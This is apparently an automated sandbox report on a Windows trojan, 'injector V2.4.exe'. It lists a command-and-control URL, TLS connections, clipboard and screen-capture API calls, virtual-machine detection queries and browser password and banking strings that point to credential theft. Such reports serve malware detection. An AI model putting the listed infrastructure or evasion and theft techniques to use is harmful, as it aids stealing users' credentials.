00000004.00000002.2295589364.0000000002BA9000.00000004.00000020.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2294286988.0000000002BA9000.00000004.00000020.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2273721386.0000000002C0D000.00000004.00000020.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2223528130.00000000052C1000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2199575933.00000000052C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/
Source: injector V2.4.exe, 00000004.00000003.2202650699.0000000002C25000.00000004.00000020.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2202612238.0000000002C1A000.00000004.00000020.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2241187469.0000000002C21000.00000004.00000020.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2202633746.0000000002C21000.00000004.00000020.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2202499828.0000000002C15000.00000004.00000020.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000002.2295589364.0000000002BA9000.00000004.00000020.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2294286988.0000000002BA9000.00000004.00000020.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2176493627.0000000005352000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2272584249.0000000002C23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/api
Source: injector V2.4.exe, 00000004.00000003.2176493627.0000000005352000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/api$I
Source: injector V2.4.exe, 00000004.00000003.2176493627.0000000005352000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apiII8
Source: injector V2.4.exe, 00000004.00000002.2295589364.0000000002BA9000.00000004.00000020.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2294286988.0000000002BA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apiW
Source: injector V2.4.exe, 00000004.00000002.2295589364.0000000002BA9000.00000004.00000020.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2294286988.0000000002BA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apie
Source: injector V2.4.exe, 00000004.00000002.2295589364.0000000002BA9000.00000004.00000020.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2294286988.0000000002BA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apisk
Source: injector V2.4.exe, 00000004.00000002.2295771988.0000000002C1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/m
Source: injector V2.4.exe, 00000004.00000003.2178125921.00000000055DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: injector V2.4.exe, 00000004.00000003.2178125921.00000000055DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: injector V2.4.exe, 00000004.00000003.2178397811.000000000534E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: injector V2.4.exe, 00000004.00000003.2178397811.000000000534E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: injector V2.4.exe, 00000004.00000003.2134677816.00000000052FB000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2134796623.00000000052F8000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2134731743.00000000052F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: injector V2.4.exe, 00000004.00000003.2134677816.00000000052FB000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2134796623.00000000052F8000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2134731743.00000000052F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: injector V2.4.exe, 00000004.00000003.2178125921.00000000055DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: injector V2.4.exe, 00000004.00000003.2178125921.00000000055DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: injector V2.4.exe, 00000004.00000003.2178125921.00000000055DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: injector V2.4.exe, 00000004.00000003.2178125921.00000000055DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: injector V2.4.exe, 00000004.00000003.2178125921.00000000055DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: injector V2.4.exe, 00000004.00000003.2178125921.00000000055DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725

Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:49725 version: TLS 1.2

Source: C:\Users\user\Desktop\injector V2.4.exe

Code function: 4_2_00433550 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

4_2_00433550

Source: C:\Users\user\Desktop\injector V2.4.exe

Code function: 4_2_00433550 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

4_2_00433550

Source: C:\Users\user\Desktop\injector V2.4.exe

Code function: 4_2_00433D60 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

4_2_00433D60

Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 0_2_004CF4D0	0_2_004CF4D0
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 0_2_004D34D0	0_2_004D34D0
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 0_2_004CF980	0_2_004CF980
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 0_2_004D15A0	0_2_004D15A0
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 0_2_004CCE70	0_2_004CCE70
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 0_2_004C86C0	0_2_004C86C0
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 0_2_004E1FD2	0_2_004E1FD2
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 0_2_004CD7F0	0_2_004CD7F0
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 3_2_004CF4D0	3_2_004CF4D0
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 3_2_004D34D0	3_2_004D34D0
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 3_2_004CF980	3_2_004CF980
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 3_2_004D15A0	3_2_004D15A0
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 3_2_004CCE70	3_2_004CCE70
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 3_2_004C86C0	3_2_004C86C0
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 3_2_004E1FD2	3_2_004E1FD2
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 3_2_004CD7F0	3_2_004CD7F0
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_004228A0	4_2_004228A0
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_00427140	4_2_00427140
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_00420970	4_2_00420970
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_0043B100	4_2_0043B100
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_004389D0	4_2_004389D0
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_00408AE0	4_2_00408AE0
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_00418BE3	4_2_00418BE3
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_00409BA0	4_2_00409BA0
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_00424470	4_2_00424470
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_0042E434	4_2_0042E434
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_0042DD55	4_2_0042DD55
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_00438660	4_2_00438660
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_00440740	4_2_00440740
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_00440FB0	4_2_00440FB0
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_00406840	4_2_00406840
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_0042C84A	4_2_0042C84A
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_00438000	4_2_00438000
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_0042C8DC	4_2_0042C8DC
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_004298A8	4_2_004298A8
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_004378AF	4_2_004378AF
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_00426959	4_2_00426959
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_00406170	4_2_00406170
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_00429100	4_2_00429100
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_00430112	4_2_00430112
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_00426910	4_2_00426910
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_0042C918	4_2_0042C918
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_0042C929	4_2_0042C929
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_00404930	4_2_00404930
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_004241E8	4_2_004241E8
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_004409F0	4_2_004409F0
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_0042A1A2	4_2_0042A1A2
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_004281BC	4_2_004281BC
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_0040DA43	4_2_0040DA43
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_0043C250	4_2_0043C250
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_0041FAF0	4_2_0041FAF0
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_00425344	4_2_00425344
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_004298A8	4_2_004298A8
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_00409300	4_2_00409300
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_00431313	4_2_00431313
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_0042D318	4_2_0042D318
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_00402B20	4_2_00402B20
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_0043BB30	4_2_0043BB30
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_0043F330	4_2_0043F330
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_004283CA	4_2_004283CA
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_00424BE2	4_2_00424BE2
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_0042D380	4_2_0042D380
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_00420BB0	4_2_00420BB0
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_00423450	4_2_00423450
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_0043F450	4_2_0043F450
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_0041AC64	4_2_0041AC64
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_0040546B	4_2_0040546B
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_00430C7A	4_2_00430C7A
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_00405C20	4_2_00405C20
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_0041CC20	4_2_0041CC20
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_00406CD0	4_2_00406CD0
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_00440CD0	4_2_00440CD0
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_004304FB	4_2_004304FB
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_00418490	4_2_00418490
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_004294BD	4_2_004294BD
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_00403550	4_2_00403550
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_0043F550	4_2_0043F550
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_0042CD67	4_2_0042CD67
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_0041F510	4_2_0041F510
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_004395E9	4_2_004395E9
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_00427580	4_2_00427580
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_00408590	4_2_00408590
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_00437DA0	4_2_00437DA0
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_00424DB0	4_2_00424DB0
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_004365B8	4_2_004365B8
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_00409650	4_2_00409650
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_0042DD4E	4_2_0042DD4E
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_00431670	4_2_00431670
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_00426630	4_2_00426630
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_0041CED0	4_2_0041CED0
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_0041B68E	4_2_0041B68E
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_0041EEA0	4_2_0041EEA0
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_00403F60	4_2_00403F60
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_0042E765	4_2_0042E765
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_00427774	4_2_00427774
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_0041DF00	4_2_0041DF00
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_0043B700	4_2_0043B700
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_0040AFE0	4_2_0040AFE0
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_004077E0	4_2_004077E0
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_00419FED	4_2_00419FED

Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: String function: 00408390 appears 48 times
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: String function: 00418480 appears 63 times
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: String function: 004D55C0 appears 66 times
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: String function: 004D8178 appears 36 times

Source: injector V2.4.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: injector V2.4.exe

Static PE information: Section: .coS ZLIB complexity 1.0003382863562091

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@6/0@1/1

Source: C:\Users\user\Desktop\injector V2.4.exe

Code function: 4_2_004389D0 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

4_2_004389D0

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6428:120:WilError_03

Source: injector V2.4.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\injector V2.4.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: injector V2.4.exe, 00000004.00000003.2135024624.00000000052CA000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2156235794.0000000005362000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2134914235.00000000052E6000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2155985287.00000000052CD000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: injector V2.4.exe

ReversingLabs: Detection: 42%

Source: C:\Users\user\Desktop\injector V2.4.exe

File read: C:\Users\user\Desktop\injector V2.4.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\injector V2.4.exe "C:\Users\user\Desktop\injector V2.4.exe"
Source: C:\Users\user\Desktop\injector V2.4.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\injector V2.4.exe	Process created: C:\Users\user\Desktop\injector V2.4.exe "C:\Users\user\Desktop\injector V2.4.exe"
Source: C:\Users\user\Desktop\injector V2.4.exe	Process created: C:\Users\user\Desktop\injector V2.4.exe "C:\Users\user\Desktop\injector V2.4.exe"
Source: C:\Users\user\Desktop\injector V2.4.exe	Process created: C:\Users\user\Desktop\injector V2.4.exe "C:\Users\user\Desktop\injector V2.4.exe"	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	Process created: C:\Users\user\Desktop\injector V2.4.exe "C:\Users\user\Desktop\injector V2.4.exe"	Jump to behavior

Source: C:\Users\user\Desktop\injector V2.4.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: injector V2.4.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, GUARD_CF, TERMINAL_SERVER_AWARE

Source: injector V2.4.exe	Static PE information: section name: .00cfg
Source: injector V2.4.exe	Static PE information: section name: .coS

Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 0_2_004D4BC5 push ecx; ret	0_2_004D4BD8
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 3_2_004D4BC5 push ecx; ret	3_2_004D4BD8
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_00415893 push ds; ret	4_2_00415894
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_0041432B pushad ; ret	4_2_00414334
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_0041458B push ds; ret	4_2_00414594
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_00414D98 push edx; retf	4_2_00414D9B
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4_2_00417FEF push 0FF1762Bh; iretd	4_2_00417FF4

Source: C:\Users\user\Desktop\injector V2.4.exe

Code function: 0_2_004D4CA2 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_004D4CA2

Source: C:\Users\user\Desktop\injector V2.4.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\injector V2.4.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\injector V2.4.exe TID: 4744	Thread sleep time: -180000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe TID: 4744	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\injector V2.4.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 0_2_004DC72A FindFirstFileExW,	0_2_004DC72A
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 0_2_004DC7DB FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_004DC7DB
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 3_2_004DC72A FindFirstFileExW,	3_2_004DC72A
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 3_2_004DC7DB FindFirstFileExW,FindNextFileW,FindClose,FindClose,	3_2_004DC7DB

Source: injector V2.4.exe, 00000004.00000003.2155622066.0000000005360000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: injector V2.4.exe, 00000004.00000003.2155622066.0000000005360000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: injector V2.4.exe, 00000004.00000003.2155622066.0000000005360000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: injector V2.4.exe, 00000004.00000003.2155622066.0000000005360000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: injector V2.4.exe, 00000004.00000003.2155622066.0000000005360000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: injector V2.4.exe, 00000004.00000003.2155622066.0000000005365000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: injector V2.4.exe, 00000004.00000003.2155622066.0000000005360000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
